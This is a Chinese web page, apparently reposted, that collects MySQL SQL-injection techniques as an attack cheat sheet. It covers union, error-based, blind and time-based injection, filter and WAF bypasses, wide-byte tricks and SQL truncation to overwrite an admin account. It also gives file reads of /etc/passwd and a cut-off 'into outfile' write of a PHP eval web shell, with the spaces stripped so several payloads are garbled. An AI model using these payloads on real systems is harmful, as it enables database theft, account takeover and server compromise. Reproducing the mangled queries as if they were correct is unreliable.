当前位置:XML > XML功能

数据库注入提权总结一

MYSQL

基础注入

联合查询

若前面的查询结果不为空,则返回两次查询的值:

若前面的查询结果为空,则只返回union查询的值:

关键字unionselect

需要字段数对应

常用Payload:#查询表名unionselectgroup_concat(table_name)frominformation_schema.tableswheretable_schema=database()%23#查询字段名unionselectgroup_concat(column_name)frominformation_schema.columnswheretable_name=table1%23

报错注入

报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:

#修改selectuser()字段获取不同的信息#1.floor()select*fromtestwhereid=1and(select1from(selectcount(*),concat(user(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);#2.extractvalue()select*fromtestwhereid=1and(extractvalue(1,concat(0x7e,(selectuser()),0x7e)));#3.updatexml()select*fromtestwhereid=1and(updatexml(1,concat(0x7e,(selectuser()),0x7e),1));#4.geometrycollection()select*fromtestwhereid=1andgeometrycollection((select*from(select*from(selectuser())a)b));#5.multipoint()select*fromtestwhereid=1andmultipoint((select*from(select*from(selectuser())a)b));6.polygon()select*fromtestwhereid=1andpolygon((select*from(select*from(selectuser())a)b));7.multipolygon()select*fromtestwhereid=1andmultipolygon((select*from(select*from(selectuser())a)b));8.linestring()select*fromtestwhereid=1andlinestring((select*from(select*from(selectuser())a)b));9.multilinestring()select*fromtestwhereid=1andmultilinestring((select*from(select*from(selectuser())a)b));10.exp()select*fromtestwhereid=1andexp(~(select*from(selectuser())a));

布尔盲注

常见的布尔盲注场景有两种,一是返回值只有True或False的类型,二是Orderby盲注。

返回值只有True或False的类型

如果查询结果不为空,则返回True(或者是Success之类的),否则返回False

这种注入比较简单,可以挨个猜测表名、字段名和字段值的字符,通过返回结果判断猜测是否正确

例:parameter=’orascii(substr((selectdatabase()),1,1))—+

Orderby盲注

orderbyrand(True)和orderbyrand(False)的结果排序是不同的,可以根据这个不同来进行盲注:

例:orderbyrand(database()=pdotest)

返回了True的排序,说明database()=’pdotest’是正确的值

时间盲注

其实大多数页面,即使存在sql注入也基本是不会有回显的,因此这时候就要用延时来判断查询的结果是否正确。

常见的时间盲注有:

1.sleep(x)

id=orsleep(3)%23id=orif(ascii(substr(database(),1,1)),sleep(3),0)%23

查询结果正确,则延迟3秒,错误则无延时。

2.benchmark()

通过大量运算来模拟延时:

id=orbenchmark(,sha(1))%23id=orif(ascii(substr(database(),1,1)),benchmark(,sha(1)),0)%23

本地测试这个值大约可延时3秒:

3.笛卡尔积

计算笛卡尔积也是通过大量运算模拟延时:

selectcount(*)frominformation_schema.tablesA,information_schema.tablesB,information_schema.tablesCselectbalabalafromtable1where1=2orif(ascii(substr(database(),1,1))0,(selectcount(*)frominformation_schema.tablesA,information_schema.tablesB,information_schema.tablesC),0)

笛卡尔积延时大约也是3秒

 ①网安学习成长路径思维导图

 ②60+网安经典常用工具包

 ③+SRC漏洞分析报告

 ④+网安攻防实战技术电子书

 ⑤最权威CISSP认证考试指南+题库

 ⑥超页CTF实战技巧手册

 ⑦最新网安大厂面试题合集(含答案)

 ⑧APP客户端安全检测指南(安卓+IOS)

HTTP头注入

注入手法和上述相差不多,就是注入点发生了变化

HTTP分割注入

常见场景,登录处SQL语句如下,注释符号被过滤

selectxxxfromxxxwhereusername=’xxx’andpassword=’xxx’

#方法一username=1orextractvalue/*password=1*/(1,concat(0x7e,(selectdatabase()),0x7e))orSQL语句最终变为selectxxxfromxxxwhereusername=1orextractvalue/*’andpassword=’*/(1,concat(0x7e,(selectdatabase()),0x7e))or#方法二username=1orif(ascii(substr(database(),1,1))=,sleep(3),0)or1password=1select*fromuserswhereusername=1orif(ascii(substr(database(),1,1))0,sleep(3),0)or1andpassword=1

二次注入

二次注入主要出现在update和select结合点,如注册之后在登录

攻击者构造的恶意payload首先会被服务器存储在数据库中,在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题

SQL约束攻击

假如注册时username参数在mysql中为字符串类型,并且有unique属性,设置了长度为VARCHAR(20)。

则我们注册一个username为admin[20个空格]asd的用户名,则在mysql中首先会判断是否有重复,若无重复,则会截取前20个字符加入到数据库中,所以数据库存储的数据为admin[20个空格],而进行登录的时候,SQL语句会忽略空格,因此我们相当于覆写了admin账号。

基础绕过

大小写绕过

用于过滤时没有匹配大小写的情况:SelECt*fromtable;

双写绕过

用于将禁止的字符直接删掉的过滤情况如:preg_replace(‘/select/‘,’’,input)则可用seselectlectfromxxx来绕过,在删除一个select后剩下的就是selectfromxxx

绕过空格

当空格被过滤时,可以使用/**/()%0a%09进行绕过

使用16进制绕过特定字符

如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:

selectcolumn_namefrominformation_schema.columnswheretable_name=0x;

0x为users的16进制

只能针对表名,字段名等,内置函数关键字,不能使用16进制替代

宽字节、Latin1默认编码

宽字节注入

用于单引号被转义,但编码为gbk编码的情况下,用特殊字符将其与反斜杠合并,构成一个特殊字符:

username=%df#经gbk解码后变为:select*fromuserswhereusername=#

成功闭合了单引号。

Latin1编码

Mysql表的编码默认为latin1,如果设置字符集为utf8,则存在一些latin1中有而utf8中没有的字符,而Mysql是如何处理这些字符的呢?直接忽略

于是我们可以输入?username=admin%c2,存储至表中就变为了admin

上面的%c2可以换为%c2-%ef之间的任意字符

常见字符的替代

and-or-

空格-/**/-%a0-%0a-+#---+-;%00(php=5.3.4)-or1=1=-like-regexp--in注:regexp为正则匹配,利用正则会有些新的注入手段

逗号被过滤

#用join代替:-1unionselect1,2,3-1unionselect*from(select1)ajoin(select2)bjoin(select3)c%23#limit:limit2,1limit1offset2#substr:substr(database(),5,1)substr(database()from5for1)from为从第几个字符开始,for为截取几个substr(database()from5)#如果for也被过滤了mid(REVERSE(mid(database()from(-5)))from(-1))reverse是反转,mid和substr等同#if:if(database()=’xxx’,sleep(3),1)id=1anddatabse()=’xxx’andsleep(3)selectcasewhendatabase()=’xxx’thensleep(5)else0end

limit被过滤

selectuserfromuserslimit1加限制条件,如:selectuserfromusersgroupbyuser_idhavinguser_id=1(user_id是表中的一个column)

information_schema被过滤

innodb引擎可用mysql.innodb_table_stats、innodb_index_stats,日志将会把表、键的信息记录到这两个表中除此之外,系统表sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns用于记录查询的缓存,某些情况下可代替information_schema

文件读写

读写权限

在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:

我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。

除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种:

(1)无内容,即无限制

(2)为NULL,表示禁止文件读写

(3)为目录名,表示仅能在此目录下读写

该配置项存放在my.ini中,修改之后必须重启mysql重新加载配置文件

读文件

如果满足上述2个条件,则可尝试读写文件了。

常用的读文件的语句有如下几种:

selectload_file(file_path);loaddatainfile"/etc/passwd"intotable库里存在的表名FIELDSTERMINATEDBYn;#读取服务端文件loaddatalocalinfile"/etc/passwd"intotable库里存在的表名FIELDSTERMINATEDBYn;#读取客户端文件

需要注意的是,file_path必须为绝对路径,且反斜杠需要转义:

写文件

select1,"?phpeval($_POST[cmd]);?"intooutfile/var/


转载请注明:http://www.vviuov.com/lcbx/1062993.html

  • 上一篇文章:
  • 下一篇文章: 没有了